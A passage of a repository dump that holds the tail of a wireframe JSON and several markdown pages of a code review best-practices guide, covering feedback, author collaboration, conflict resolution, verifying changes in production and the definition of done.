expected.\"}}]}}},{\"ID\":\"2938\",\"typeID\":\"__group__\",\"zOrder\":\"161\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3737\",\"properties\":{\"controlName\":\"check:review-updated-code\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2939\",\"typeID\":\"__group__\",\"zOrder\":\"164\",\"measuredW\":\"444\",\"measuredH\":\"28\",\"w\":\"444\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3777\",\"properties\":{\"controlName\":\"re-run-tests-verify\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"444\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Run the tests again and ensure that they all pass.\"}}]}}},{\"ID\":\"2940\",\"typeID\":\"__group__\",\"zOrder\":\"163\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3776\",\"properties\":{\"controlName\":\"check:re-run-tests-verify\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2941\",\"typeID\":\"__group__\",\"zOrder\":\"166\",\"measuredW\":\"548\",\"measuredH\":\"28\",\"w\":\"548\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3817\",\"properties\":{\"controlName\":\"address-author-concerns\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"548\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Address any questions or concerns that the author may have.\"}}]}}},{\"ID\":\"2942\",\"typeID\":\"__group__\",\"zOrder\":\"165\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3816\",\"properties\":{\"controlName\":\"check:address-author-concerns\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2943\",\"typeID\":\"__group__\",\"zOrder\":\"168\",\"measuredW\":\"927\",\"measuredH\":\"28\",\"w\":\"927\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3857\",\"properties\":{\"controlName\":\"author-feedback-welcomed\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"927\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Be open to feedback from the author and be willing to make adjustments to your feedback if necessary.\"}}]}}},{\"ID\":\"2944\",\"typeID\":\"__group__\",\"zOrder\":\"167\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3856\",\"properties\":{\"controlName\":\"check:author-feedback-welcomed\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2945\",\"typeID\":\"__group__\",\"zOrder\":\"173\",\"measuredW\":\"576\",\"measuredH\":\"28\",\"w\":\"576\",\"h\":\"28\",\"x\":\"344\",\"y\":\"4025\",\"properties\":{\"controlName\":\"merge-approved-code\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"576\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Merge the approved code change into the main/feature branch.\"}}]}}},{\"ID\":\"2946\",\"typeID\":\"__group__\",\"zOrder\":\"172\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"298\",\"y\":\"4024\",\"properties\":{\"controlName\":\"check:merge-approved-code\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2947\",\"typeID\":\"__group__\",\"zOrder\":\"175\",\"measuredW\":\"769\",\"measuredH\":\"28\",\"w\":\"769\",\"h\":\"28\",\"x\":\"344\",\"y\":\"4065\",\"properties\":{\"controlName\":\"change-functioning\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"769\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Verify that the code change is functioning as expected in the production environment.\"}}]}}},{\"ID\":\"2948\",\"typeID\":\"__group__\",\"zOrder\":\"174\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"298\",\"y\":\"4064\",\"properties\":{\"controlName\":\"check:change-functioning\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2949\",\"typeID\":\"__group__\",\"zOrder\":\"177\",\"measuredW\":\"868\",\"measuredH\":\"28\",\"w\":\"868\",\"h\":\"28\",\"x\":\"344\",\"y\":\"4105\",\"properties\":{\"controlName\":\"monitor-performance\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"868\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Monitor the performance and functionality of the code change and address any issues that arise.\"}}]}}},{\"ID\":\"2950\",\"typeID\":\"__group__\",\"zOrder\":\"176\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"298\",\"y\":\"4104\",\"properties\":{\"controlName\":\"check:monitor-performance\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2951\",\"typeID\":\"__group__\",\"zOrder\":\"179\",\"measuredW\":\"516\",\"measuredH\":\"28\",\"w\":\"516\",\"h\":\"28\",\"x\":\"344\",\"y\":\"4144\",\"properties\":{\"controlName\":\"celebrate-success\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"516\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Celebrate the successful completion of the code change!\"}}]}}},{\"ID\":\"2952\",\"typeID\":\"__group__\",\"zOrder\":\"178\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"298\",\"y\":\"4143\",\"properties\":{\"controlName\":\"check:celebrate-success\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2953\",\"typeID\":\"Arrow\",\"zOrder\":\"193\",\"w\":\"75\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"1415\",\"y\":\"372\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"stroke\":\"dotted\",\"color\":\"16777215\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999999999999999,\"y\":0},\"p2\":{\"x\":75.31007493951245,\"y\":0}}}]},\"attributes\":{\"name\":\"New Wireframe 9 copy 3\",\"order\":1000127.6123092113,\"parentID\":null,\"notes\":null},\"branchID\":\"Master\",\"resourceID\":\"A1A5999B-9C79-4DA0-ACC2-6623475C4F5B\",\"mockupH\":\"4358\",\"mockupW\":\"1289\",\"measuredW\":\"1490\",\"measuredH\":\"4493\",\"version\":\"1.0\"},\"groupOffset\":{\"x\":0,\"y\":0},\"dependencies\":[],\"projectID\":\"file:///Users/kamranahmed/Desktop/AWS%20Roadmap.bmpr\"}"
  },
  {
    "path": "src/data/best-practices/code-review/code-review.md",
    "content": "---\njsonUrl: '/jsons/best-practices/code-review.json'\npdfUrl: '/pdfs/best-practices/code-review.pdf'\norder: 2\nbriefTitle: 'Code Reviews'\nbriefDescription: 'Code Review Best Practices'\nisNew: false\nisUpcoming: false\ntitle: 'Code Review Best Practices'\ndescription: 'Detailed list of best practices for effective code reviews and quality'\ndimensions:\n  width: 968\n  height: 3254.98\nschema:\n  headline: 'Code Review Best Practices'\n  description: 'Discover the essential best practices for effective code review and improve the quality of your software development. From establishing clear objectives to providing constructive feedback, this interactive guide covers everything you need to know to optimize your code review process and ensure the delivery of high-quality code.'\n  imageUrl: 'https://roadmap.sh/best-practices/code-review.png'\n  datePublished: '2023-01-23'\n  dateModified: '2023-01-23'\nseo:\n  title: 'Code Review Best Practices'\n  description: 'Discover the essential best practices for effective code review and improve the quality of your software development. From establishing clear objectives to providing constructive feedback, this interactive guide covers everything you need to know to optimize your code review process and ensure the delivery of high-quality code.'\n  keywords:\n    - 'code reviews'\n    - 'code reviews best practices'\n    - 'code reviews checklist'\n    - 'codereview checklist'\n    - 'quality code review'\n    - 'code review process'\n---\n"
  },
  {
    "path": "src/data/best-practices/code-review/content/address-author-concerns.md",
    "content": "# Address Author Concerns\n\nIn the code review process, it is essential for the reviewers not only to provide constructive feedback but also to address any questions or concerns that the author of the code may have. This enables a collaborative learning environment and ensures that both the author and the reviewer have a shared understanding of the code changes, resulting in a better final product. To make sure any questions or concerns are addressed, consider the following tips:\n\n- Encourage open communication: Foster a culture where the author feels comfortable asking questions or seeking clarifications without fear of being judged. A positive, supportive atmosphere will lead to more productive discussions and better outcomes.\n  \n- Be accessible: Make sure you as a reviewer are available to answer questions and provide assistance when needed. This may involve setting aside specific times for code review discussions or being responsive on communication channels.\n\n- Ask questions: During the code review, actively ask the author if they have any questions or concerns about the feedback provided. This can help identify potential areas of confusion and create opportunities for clarification and learning.\n\n- Provide clear explanations: When giving feedback, ensure your comments are clear and concise, so the author can understand the reasoning behind your suggestions. This can help prevent misunderstandings and encourage meaningful discussions.\n\n- Follow up: After the code review is completed, follow up with the author to ensure they've understood the feedback and have no lingering questions or concerns. This will help reinforce the learning process and ensure a positive code review experience for both parties."
  },
  {
    "path": "src/data/best-practices/code-review/content/address-feedback-received.md",
    "content": "# Address Feedback Received\n\nAs you work through the code review process, it's important to address all the feedback you've received from your team members, be it concerns, questions, or suggestions for improvements. Doing so not only ensures that your code meets the quality and performance standards, but also builds trust and credibility with your peers. In this section, we'll discuss how to effectively address each piece of feedback, keep track of the review process, and create an open, collaborative environment for learning and growth. \n\nTo make sure that you've addressed all the feedback, consider the following tips:\n- Clearly acknowledge every comment or suggestion made by your reviewer, either by implementing the change or providing a convincing counter-argument.\n- Keep a checklist of all the concerns raised and mark them off as you address them, ensuring that nothing is overlooked.\n- If a reviewer's comment or concern is unclear, ask for clarification instead of making assumptions, as this will prevent misunderstandings.\n- Encourage open and transparent communication, inviting all relevant stakeholders to participate in the discussion and offer their insights.\n- Once you've addressed all feedback, update your reviewer and kindly ask them to re-review your changes, making sure they're satisfied with your responses.\n- Continuously learn from the feedback you receive and apply it to future projects, improving your skills and expertise as a developer."
  },
  {
    "path": "src/data/best-practices/code-review/content/adequate-review-time.md",
    "content": "# Make Reviews a Priority\n\nAs the author of this guide on the best practices for code reviews, I would like to emphasize the importance of providing adequate time for code reviews and ensuring that it is a priority. Code reviews are essential to maintaining high-quality code, fostering collaboration, and sharing knowledge among team members. Therefore, it is crucial to allocate sufficient time and prioritize code reviews in your team's workflow. Here are a few tips to make sure that you're giving code reviews the attention they deserve:\n\n- Schedule regular time slots for code reviews, either daily or on specific days of the week. This will keep code reviews on top of everyone's to-do list and encourage consistency.\n\n- Break down large code reviews into smaller, more manageable tasks. This will help team members stay focused and motivated, resulting in more thorough reviews.\n\n- Encourage team members to avoid multitasking while performing code reviews. This ensures that reviewers give their full attention to the code in question, reducing the likelihood of oversight.\n\n- Set clear expectations about the timeframe for completing code reviews. Knowing that there is a deadline will motivate team members to prioritize code reviews.\n\n- Finally, foster a culture that values code reviews, and highlight their importance at team meetings and discussions. This will ensure that everyone in the team is aligned with the priority given to code reviews."
  },
  {
    "path": "src/data/best-practices/code-review/content/adhere-guidelines.md",
    "content": "# Coding Standards and Best Practices\n\nDouble-checking that the code adheres to the project's coding standards and best practices is essential to maintain consistency, readability, and maintainability of the codebase. It ensures that individual developer preferences do not negatively impact the overall quality of the project. As you conduct a code review, it's crucial to verify that the submitted code follows the agreed-upon guidelines in terms of style, architecture, and design patterns. Here are some tips to help you ensure adherence to coding standards and best practices during a code review:\n\n- Familiarize yourself with the project's coding guidelines and best practices before starting the review.\n- Use a linter or code analysis tool that automatically checks the code for style, syntax, and other standards-related issues.\n- Assess the code's modularity, adherence to the Single Responsibility Principle, and the separation of concerns.\n- Verify that the code follows the project's naming conventions for variables, functions, classes, and other elements.\n- Ensure that the code has appropriate and consistent comments and documentation, so it's easy to understand and maintain.\n- Look out for code redundancy and possible performance bottlenecks.\n- Compare the code to similar implementations in the project to determine if it aligns with established conventions and patterns.\n- Confirm that unit tests and integration tests are in place and cover the critical functionality of the code.\n- In case of any doubts or uncertainties, consult with other team members or the project's lead developer for clarification.\n\nRemember, adhering to coding standards and best practices promotes code quality and makes it easier for the entire team to collaborate effectively on the project."
  },
  {
    "path": "src/data/best-practices/code-review/content/architecture-understanding.md",
    "content": "# Understand the Codebase Architecture\n\nIn the process of code review, it is crucial to have a solid understanding of the codebase and its architecture. Familiarizing yourself with the overall structure, design patterns, and key components ensures that you can identify potential issues and provide meaningful feedback to improve the quality of the code. To make sure you have a good grasp of the codebase and its architecture, consider the following tips:\n\n- Review project documentation: Start by going through any available documentation, including architectural diagrams, API documentation, and README files, to gain an understanding of the project's purpose and design decisions.\n\n- Speak with the author or team members: Engage in conversations with the code author and other team members who have experience working with the code to clarify any questions you may have or gain further insights.\n\n- Trace code execution: Follow the flow of the code by tracing the execution path, starting from the entry point and going through the key components. This will help you comprehend how the different pieces of the codebase interact with each other.\n\n- Verify adherence to coding standards: Ensure that the codebase follows established coding standards, such as naming conventions, commenting, and formatting. Consistent code standards make it easier to read and understand the code.\n\n- Identify dependencies: Take note of external libraries, frameworks, and APIs used within the project, and familiarize yourself with any critical functionality they may provide.\n\nBy taking these steps, you can build a comprehensive understanding of the codebase and its architecture, allowing you to provide valuable feedback during the code review process."
  },
  {
    "path": "src/data/best-practices/code-review/content/author-feedback-welcomed.md",
    "content": "# Be Open to Feedback\n\nBeing open to feedback from the author and willing to make adjustments to your feedback if necessary, plays an important role in facilitating a productive and collaborative code review process. This approach enables constructive dialogue, improves understanding between team members, and contributes to the overall growth of both the reviewers and the author. Here are some tips to ensure you're open to feedback and flexible in making adjustments:\n\n- Encourage two-way communication: Make it clear to the author that you're open to discussing your suggestions and hearing their thoughts on your feedback.\n- Keep an open mind: Remember that there could be aspects of the code or the problem it addresses that you may have missed, or that the author might possess a unique insight into.\n- Be humble: Recognize that you could be wrong in some of your observations and be ready to accept suggestions from the author for alternative solutions.\n- Ask clarifying questions: If you don’t understand something in the code or your feedback is questioned, ask the author to explain their reasoning. This promotes open dialogue and better understanding between parties.\n- Learn and grow together: View the process as a collective learning experience where both you, the reviewer, and the author, can gain new insights and improve different aspects of your work."
  },
  {
    "path": "src/data/best-practices/code-review/content/celebrate-success.md",
    "content": "# Celebrate the Successful Completion of the Code Change\n\nA crucial yet often overlooked aspect of code review is to acknowledge and celebrate a successful code change. Behind every code change lies the hard work and dedication of the developer, and recognizing their effort goes a long way in fostering a positive and collaborative environment within the team. Here are a few tips to ensure you don't miss out on celebrating successful code changes:\n\n- Share the achievement: Acknowledge the developer's work by sharing it with the team, either during a team meeting or by simply sending a message to the group chat. This boosts the team's morale and encourages healthy competition.\n\n- Provide constructive feedback: Take time to appreciate the strengths of the code and point out areas where it stands out.\n\n- Showcase the impact: Demonstrate the benefits of the code change for the project, the client, or the team. This helps the developer understand the significance of their contribution.\n\n- Encourage continuous improvement: A successful code change is an opportunity to learn and grow. Encourage developers to continue refining their skills and seeking new challenges.\n\nRemember, a little praise can go a long way to motivate your team and ensure a thriving and healthy work environment. So, celebrate those successful code changes, and watch your team excel!"
  },
  {
    "path": "src/data/best-practices/code-review/content/change-functioning.md",
    "content": "# Verify the Change in Production.\n\nVerifying the change is a crucial step in the code review process that ensures the recently merged changes work correctly and do not cause any unexpected disruptions when deployed to the live production environment. Rigorous testing before deployment helps minimize the risks, but having an additional layer of validation post-deployment provides you with the confidence that your code changes are working as intended while interacting with real users and production data. To make sure of this, consider the following tips:\n\n- Implement automated monitoring and alerting systems to keep track of your application's key performance indicators (KPIs) and notify you in case of a significant change in the metrics.\n\n- Incorporate feature flags or toggles, allowing you to easily enable or disable specific changes in your code, making the process of identifying and resolving issues in production faster.\n\n- Perform smoke tests, which are quick and basic functional checks that help confirm the operational stability of your application after deploying new changes.\n\n- Observe user interaction through user analytics, bug reports, or direct feedback to assess whether the code change has had the intended impact and is positively affecting the user experience.\n\n- Establish strategies for gradual deployment, such as canary or blue-green deployments, to minimize the potential impact of a problematic change on your entire user base and ensure smoother rollback if needed.\n"
  },
  {
    "path": "src/data/best-practices/code-review/content/changes-ready.md",
    "content": "# Ensuring Completeness of Change\n\nI cannot emphasize enough the significance of submitting a well-prepared code change for review. This not only saves time for the reviewer and the author but also helps maintain high-quality code in the repository. Here are some essential tips to make sure that your code changes are complete and review-ready:\n\n- Verify that you have thoroughly tested your changes in different scenarios to confirm that they work as expected and do not introduce any new issues.\n\n- Ensure that you have written appropriate unit tests for your changes. These tests should be concise, well-structured, and cover all the possible scenarios.\n\n- Make sure your code follows the project's coding standards and style guides. Consistency in style makes the code easier to read and maintain.\n\n- Include clear and concise commit messages that provide context and background information about the changes made. This will help the reviewer understand the purpose and reasoning behind the changes.\n\n- Update or add documentation related to your changes, if necessary. This can include in-code comments, user-facing documentation, or developer-focused guides.\n\n- Before submitting your changes, perform a self-review. Reexamine your code closely to catch any potential issues or suggest improvements yourself.\n\nBy following these tips, you will increase the likelihood of your code changes being accepted promptly and contribute to a smoother, more efficient code review process."
  },
  {
    "path": "src/data/best-practices/code-review/content/clear-feedback.md",
    "content": "# Provide Clear Feedback\n\nIn a code review, providing clear and actionable feedback is essential to ensure that the developer can easily understand the suggestions and make improvements accordingly. This involves offering specific recommendations for enhancement, addressing potential issues, and articulating the reasoning behind your concerns. By doing so, you not only help the developer to learn and grow, but you also contribute to the overall quality of the codebase. In this section, we will delve into some practical tips on how to make sure you provide clear and actionable feedback during the code review process.\n\n- Be Specific: When pointing out a concern or suggesting an improvement, be precise about the code change you are referring to. Include line numbers or code statements to make it easier for the developer to locate and address the issue.\n\n- Offer Concrete Solutions: Instead of just pointing out what's wrong, propose a solution or an alternative approach for the developer to consider. This not only showcases your understanding of the code but also makes the feedback more constructive.\n\n- Explain Your Concerns: If you have a concern, do not just state what is wrong; explain why it is a problem and how it can impact the codebase. This will help the developer grasp the rationale behind your feedback, making it easier for them to accept and implement your suggestions.\n\n- Use Clear Language: Avoid jargon or shorthand that the developer may not understand. Use plain language and be concise in your explanations.\n\n- Stay Positive: While critiquing the code, maintain a supportive and positive tone. Start with acknowledging the good aspects of the code and appreciate the developer's efforts before diving into areas of improvement.\n\nBy following these tips, you will be well-equipped to provide clear and actionable feedback in your code reviews, fostering a collaborative and productive environment for all team members involved."
  },
  {
    "path": "src/data/best-practices/code-review/content/code-guide-best-practices-adherence.md",
    "content": "# Project Guidelines and Best Practices\n\nEnsuring that code changes adhere to the project's coding standards and best practices is a critical aspect of a successful code review. This involves evaluating the quality and consistency of the code, as well as making sure that the changes are efficient, secure, and maintainable. In this section, we will provide you with some tips on how to assess adherence to coding standards and best practices during the code review process.\n\n- Familiarize yourself with the project's coding guidelines and best practices: Before diving into the review, read and understand the project's established coding standards, such as naming conventions, indentation, and commenting styles.\n\n- Utilize linters and code analyzers: These tools can automatically identify inconsistencies in the code and detect potential issues related to best practices, thereby reducing manual effort to detect such issues.\n\n- Look for code smells: Code smells are indicators of potential issues in the code's maintainability or performance. Keep an eye out for code duplication, large functions or classes, and unclear variable or function names.\n\n- Evaluate design patterns and principles: Ensure that the implementation follows established design patterns and principles like SOLID, DRY, and KISS.\n\n- Consider security: Evaluate the code for possible security risks, such as input validation, proper error handling, and unsafe API usage.\n\n- Assess test coverage: Ensure that the submitted code includes adequate test coverage to validate the correctness of the changes and avoid regressions.\n\n- Provide constructive feedback: When pointing out adherence issues or suggesting improvements, make sure to provide specific examples and clear explanations. Encourage the contributor to discuss and clarify any concerns."
  },
  {
    "path": "src/data/best-practices/code-review/content/code-review-purpose.md",
    "content": "# Common Understanding\n\nCode review is not merely a task to meet deadlines, but a crucial practice for maintaining code quality, sharing knowledge, and preventing errors. Ensuring that all team members understand the goals and benefits of code reviews is vital to fostering a collaborative and supportive environment. To achieve this, consider the following tips:\n\n- Communicate the objectives: Clearly outline the primary objectives of code reviews during team meetings, emphasizing the focus on quality, knowledge sharing, and continuous improvement.\n- Establish a code review policy: Create a well-documented policy outlining the code review process, desired outcomes, and expectations. Make sure that everyone on the team has access to and understands it.\n- Set a positive tone: Build a culture of constructive feedback and learning, where team members feel comfortable discussing and offering suggestions for code improvements. Encourage open dialogue and active participation.\n- Encourage questions: Offer support for team members who may be new to the code review process or need clarifications. Encourage them to ask questions, no matter how simple or complex, and involve senior developers who can provide guidance and context.\n- Reinforce the value: Regularly share the successes and benefits derived from the code review process, highlighting improved code quality, quicker error detection, and team collaboration. This helps everyone understand the value and purpose of code reviews, which leads to a more engaged and productive team."
  },
  {
    "path": "src/data/best-practices/code-review/content/collaborate-reviewer-author.md",
    "content": "# Collaborate with Author\n\nIn the code review process, it is essential to foster a collaborative environment where both the reviewer and the author work together to resolve any issues or concerns that arise. A successful review is not about pointing out mistakes or asserting authority, but rather about working together towards the common goal of improving the quality of the code. To ensure a smooth and effective collaboration, consider the following tips:\n\n- Maintain open communication: Keep the lines of communication open and encourage a healthy discussion. Be open to receiving feedback and clarifications from the author.\n\n- Show empathy and respect: Be considerate and respectful when providing feedback. Avoid making personal comments or using harsh language that may discourage or demotivate the author.\n\n- Be objective and specific: When suggesting improvements, be specific and provide clear details that explain the reason for your suggestion. This will help the author understand the issue and make appropriate corrections.\n\n- Offer possible solutions: Where possible, provide alternative solutions or recommendations that the author can consider, making it easier for them to address the issue.\n\n- Be patient and persistent: Complex issues may require multiple iterations and extensive discussion to resolve. Stay patient and persistent, and continue to collaborate with the author until a satisfactory solution is reached."
  },
  {
    "path": "src/data/best-practices/code-review/content/complex-tasks-breakage.md",
    "content": "# Break it Down\n\nTackling large and complex tasks in software development can be overwhelming and time-consuming, not to mention the challenges it brings during the code review process. By breaking down these tasks into smaller, more manageable PRs (Pull Requests), we can ensure a smoother, faster, and more accurate code review. Smaller PRs are easier to understand, test, and merge which speeds up the development cycle and results in better code quality. Here are some tips to making sure your tasks are broken down into smaller PRs:\n\n- Modularize your code - Make sure your code is divided into logical modules and functions, with each module serving a single responsibility.\n\n- Focus on one feature or bug fix per PR - Resist the temptation to fix multiple issues or implement several features within the same PR. This keeps the scope of the PR narrow and easier to review.\n\n- Keep the changes incremental - If a task requires a significant amount of code changes, break it down into multiple PRs that can be built and tested independently.\n\n- Communicate with your team - Make sure your team members know which tasks have been broken down and the order in which they should be reviewed and merged.\n\n- Draft clear and concise PR descriptions - Outline the scope, purpose, and technical details of the PR, making it easier for reviewers to understand the changes and provide relevant feedback."
  },
  {
    "path": "src/data/best-practices/code-review/content/conflict-resolution.md",
    "content": "# Conflict Resolution\n\nIn the world of software development, code reviews are crucial for maintaining code quality and ensuring that everyone on the team is on the same page. However, it is natural for developers to have different opinions and perspectives on the best way to solve a particular problem. To maintain a healthy collaborative environment, it is essential to have a well-defined process for conflict resolution during code reviews. With a predefined process in place, the entire team is well-equipped to navigate through any disagreements amicably and prevent them from stalling the project's progress. Below, we have outlined several tips to consider as you establish a conflict resolution process in your code review practice:\n\n- Establish clear coding conventions and guidelines for your team to follow, as this can help prevent conflicts arising from differing personal preferences.\n\n- Encourage open communication and transparent feedback. It is essential for reviewers to express their concerns and opinions, while the code author should listen and respond with an open mind.\n\n- Disagreements should be evidence-based, and discussions should focus on the code, not personal differences. Encourage team members to provide supportive data and references, such as documentation or relevant articles, to back up their arguments.\n\n- Assign a neutral third party or mediator when conflicts cannot be resolved between the original participants. This person should consider the arguments presented by both parties and make a final decision based on the best interests of the project.\n\n- Promote a culture of continuous learning, where team members are encouraged to stay updated on the latest coding techniques and best practices. This can help foster a growth mindset and reduce conflicts over outdated or suboptimal approaches.\n\nBy implementing these strategies, your team will be better equipped to resolve conflicts during the code review process, ultimately leading to smoother teamwork, higher code quality, and more successful project outcomes."
  },
  {
    "path": "src/data/best-practices/code-review/content/consistency-everywhere.md",
    "content": "# Stay Consistent\n\nConsistency is vital because it ensures that your code integrates seamlessly with the rest of the project and maintains a coherent structure that is easy to understand and maintain. It also ensures that the system remains stable and reliable over time as it evolves. To achieve consistency, we recommend the following tips: familiarize yourself with the project's design patterns and conventions, consider the impact of changes on the entire system, work closely with other team members to ensure alignment, and always prioritize consistency and maintainability over temporary optimizations or shortcuts. Now, let's delve deeper into these tips to help you become a better code reviewer."
  },
  {
    "path": "src/data/best-practices/code-review/content/continuous-improvement-over-perfection.md",
    "content": "# Seek Continuous Improvement Over Perfection\n\nIt is important to always strive for better results without getting bogged down in the pursuit of an impractical ideal. In code review, this means recognizing that not every submission will be flawless, and that even seasoned developers can have room for enhancements. The goal should be to continuously learn and improve, rather than aiming for an unattainable level of perfection. Here are some tips to help foster a mindset of continuous improvement during code review:\n\n- Embrace a growth mindset: Understand that everyone, including yourself, can learn and grow from constructive feedback. Encourage a culture where team members feel comfortable sharing their knowledge and expertise.\n\n- Set realistic expectations: Acknowledge that not every code submission will be perfect and that it is natural for errors and improvements to be identified during the review process.\n\n- Encourage collaboration: Promote a culture where team members give and receive feedback willingly, supporting each other's learning and development as developers.\n\n- Focus on incremental progress: Instead of trying to fix every single issue at once, prioritize the most impactful changes and aim for steady progress over time.\n\n- Celebrate improvements: Recognize and celebrate the efforts made by team members in addressing feedback and making positive changes to their code.\n\nBy embracing the continuous improvement mindset, your team will be more open to feedback and motivated to learn, ultimately resulting in more efficient and higher-quality code."
  },
  {
    "path": "src/data/best-practices/code-review/content/cross-functional-knowledge.md",
    "content": "# Encourage Cross-Functional Knowledge\n\nEncouraging reviewing code in unknown-areas for cross-functional knowledge not only helps the reviewer gain insights into different sections of the project but also enables the team to have a broader understanding of the system as a whole. This practice can be highly beneficial in improving code quality, knowledge sharing, and collaboration among team members.\n\nTo ensure this practice is followed, we provide you with the following tips: \n- Establish a culture where team members are encouraged to learn and are not hesitant to review code beyond their immediate circle of expertise.\n- Define a clear process for code review assignments, considering reviews from diverse areas of the project.\n- Schedule regular knowledge sharing sessions or training workshops to increase familiarity with different sections of the codebase.\n- Use tools and automation to recommend code reviews based on individual skill levels and previous review experiences, promoting diversity in assigned projects.\n- Provide constructive feedback during reviews and maintain open communication channels to facilitate knowledge sharing and discussion."
  },
  {
    "path": "src/data/best-practices/code-review/content/definition-of-done.md",
    "content": "# Definition of Done\n\n\"Definition of Done\" (DoD) is a crucial element that helps streamline the development process and effectively communicate the criteria for completing a task, feature or project. Ensuring that the DoD is documented and clear for everyone involved is an essential part of conducting a successful code review. By providing a detailed and precise description of the intended outcome, team members can evaluate the code based on the agreed-upon objectives, eliminating any ambiguity or confusion.\n\nTo make sure the Definition of Done is clear to everyone, consider the following tips:\n\n- Collaborate on the creation of the DoD: Involve all team members, including developers, testers, and product owners, when defining the DoD to ensure it captures the necessary requirements and expectations.\n\n- Keep it concise and specific: Articulate the DoD in such a manner that it is easy to understand and follow. Avoid using jargon or ambiguous terms that might lead to confusion or misinterpretation.\n\n- Review and update regularly: As the project evolves, so may the requirements and best practices. Continuously review and update the DoD to align it with any changes that occur during the development lifecycle.\n\n- Communicate the DoD to all stakeholders: Share the Definition of Done with every member of the team, ensuring that everyone is aware of the expectations and can work towards a common goal.\n\n- Integrate the DoD into your work process: Establish the DoD as an essential part of the development process, such as during planning and task assignments, and most importantly, during code reviews. This helps to enforce consistency and ensures everyone is referencing a shared understanding of what it means for code to be considered \"Done\".\n\nBy following these tips, you can create a clear and concise Definition of Done that will aid in conducting effective code reviews and ultimately result in a high-quality, successful project."
  },
  {
